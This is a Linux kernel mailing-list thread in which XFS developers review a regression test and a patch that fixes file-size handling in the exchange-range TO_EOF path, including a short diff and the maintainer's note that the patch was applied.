Quoted 6 lines · Darrick J. Wong

From: Darrick J. Wong <[email protected]>

This is a regression test for a bug that Norbert Szetei reported in the XFS swapext ioctl. I've ported his reproducer program to fstests so that everyone can run it.

A couple things I notice -

1) this still requires EXCHRANGE?
2) if the EXCHRANGE ioctl fails with EOPNOTSUPP the test passes silently

Huh? Oh, the reproducer actually requires it. Ok, I'll add a _require clause here.

Quoted 6 lines
Quoted 1 line

Should it test that exchrange is fully available and mkfs scratch with that option if so?

Yes, that's what _require_xfs_io_command exchrange does.

And, uh, you could turn on exchrange in your test config like I do, especially seeing as it's been enabled by default for a year.

Sure. Lots of people run xfstests, sometimes even on older releases! If this test is specifically designed to test something that requires exchrange, it could make sure it sets up the test to do that whenever possible, even if not default or in an environment var.

I'm not actually sure what the overarching fstests philosophy is here, though.

-Eric

#8 lore raw

Re: [PATCH] xfs: add regression test for swapext reflux

Quoted 9 lines · Eric Sandeen
Quoted 3 lines

And, uh, you could turn on exchrange in your test config like I do, especially seeing as it's been enabled by default for a year.

Sure. Lots of people run xfstests, sometimes even on older releases! If this test is specifically designed to test something that requires exchrange, it could make sure it sets up the test to do that whenever possible, even if not default or in an environment var.

I'm not actually sure what the overarching fstests philosophy is here, though.

There's not overall philosophy, and that's a bit of a problem.

Whenver we have tests and the config specifying mkfs options, there's a chance of conflict, and we're very inconsistent in dealing with them. I think this test would probably also run into that if someone were testing say a v4 fs config.

I've tried a few things to clear this up, but it's all been bandaids so far. I think the only clean way to deal with this would be to split test into difference categories:

1) "macro" tests, using TEST_DIR and SCRATCH_DEV using paramters in the config, and not specifying their own mkfs overrides
2) "micro" tests using SCRATCH_DEV using their own paramters, but not those from the enviroment
3) "supermicro" test using their own synthetic loop/scsi_debug/etc device not using the option from the config file. Or at least using new and different options just applying to those tests

Getting this right will be a lot of work, though.

Reviewed-by on v2 1/1
#9 lore raw
In reply to Darrick J. Wong
Quoted 8 lines · Darrick J. Wong

From: Darrick J. Wong <[email protected]>

Norbert Szetei posted a patch containing an incomplete description of a bug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag. The bug tricks exchange-range into modifying a file so that it has shared blocks starting beyond EOF, which is never allowed because files never have written data beyond EOF, and you can only share written data blocks. This is key to all the incorrect behavior that follows.

.....

Quoted 9 lines
fs/xfs/libxfs/xfs_exchmaps.c +5 -0
@@ -1005,10 +1006,18 @@ xfs_exchmaps_init_intent(
 		return xmi;
 	}
 
+	/*
+	 * If the caller wanted, set each file's size to that file's exchange
+	 * offset + length exchanged from the other file because the ranges in
+	 * each file might be different lengths.
+	 */

fs/xfs/libxfs/xfs_exchmaps.c xfs_exchmaps_init_intent( · line 1021

Quoted 10 lines
fs/xfs/libxfs/xfs_exchmaps.c +5 -2
 	if (req->flags & XFS_EXCHMAPS_SET_SIZES) {
+		loff_t	off1 = XFS_FSB_TO_B(mp, xmi->xmi_startoff1);
+		loff_t	off2 = XFS_FSB_TO_B(mp, xmi->xmi_startoff2);
+
 		xmi->xmi_flags |= XFS_EXCHMAPS_SET_SIZES;
-		xmi->xmi_isize1 = req->ip2->i_disk_size;
-		xmi->xmi_isize2 = req->ip1->i_disk_size;
+		xmi->xmi_isize1 = off1 + (req->ip2->i_disk_size - off2);
+		xmi->xmi_isize2 = off2 + (req->ip1->i_disk_size - off1);
 	}

Yup, that comment helps :)

Rest of the fix looks good, too.

Signature · 2 lines
Dave Chinner
[email protected]
maintainer Applied
#10 lore raw
In reply to Darrick J. Wong
Quoted 8 lines · Darrick J. Wong

Norbert Szetei posted a patch containing an incomplete description of a bug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag. The bug tricks exchange-range into modifying a file so that it has shared blocks starting beyond EOF, which is never allowed because files never have written data beyond EOF, and you can only share written data blocks. This is key to all the incorrect behavior that follows.

[...]

Applied to for-next, thanks!

[1/1] xfs: fix exchange-range-to-eof file size exchange

      commit: 0be6da616ab5031ea6419dc4fe0bf0e378fb6757

Best regards,

Signature · 1 line
Carlos Maiolino <[email protected]>